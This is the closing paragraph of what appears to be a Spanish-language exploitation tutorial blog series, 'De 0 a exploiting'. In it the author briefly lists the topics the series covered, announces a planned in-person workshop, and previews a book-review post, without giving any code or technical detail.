Y hasta aquí el post de "De 0 a exploiting", os he enseñado como aprovechar cosillas como el integer overflow, fallos en programas remotos y finalmente un exploit "semi" real para una vulnerabilidad conocida.

Como os dije, recordad que estoy por twitter, y se van acercando las fechas de un evento que intentaré dar el curso de "De 0 a exploiting" presencial en forma de taller, iré dando más detalles.

Muchas gracias a todos y hasta la próxima, esta vez vendré con un pequeño post sobre un libro que me ha entretenido mucho leer esta semanilla.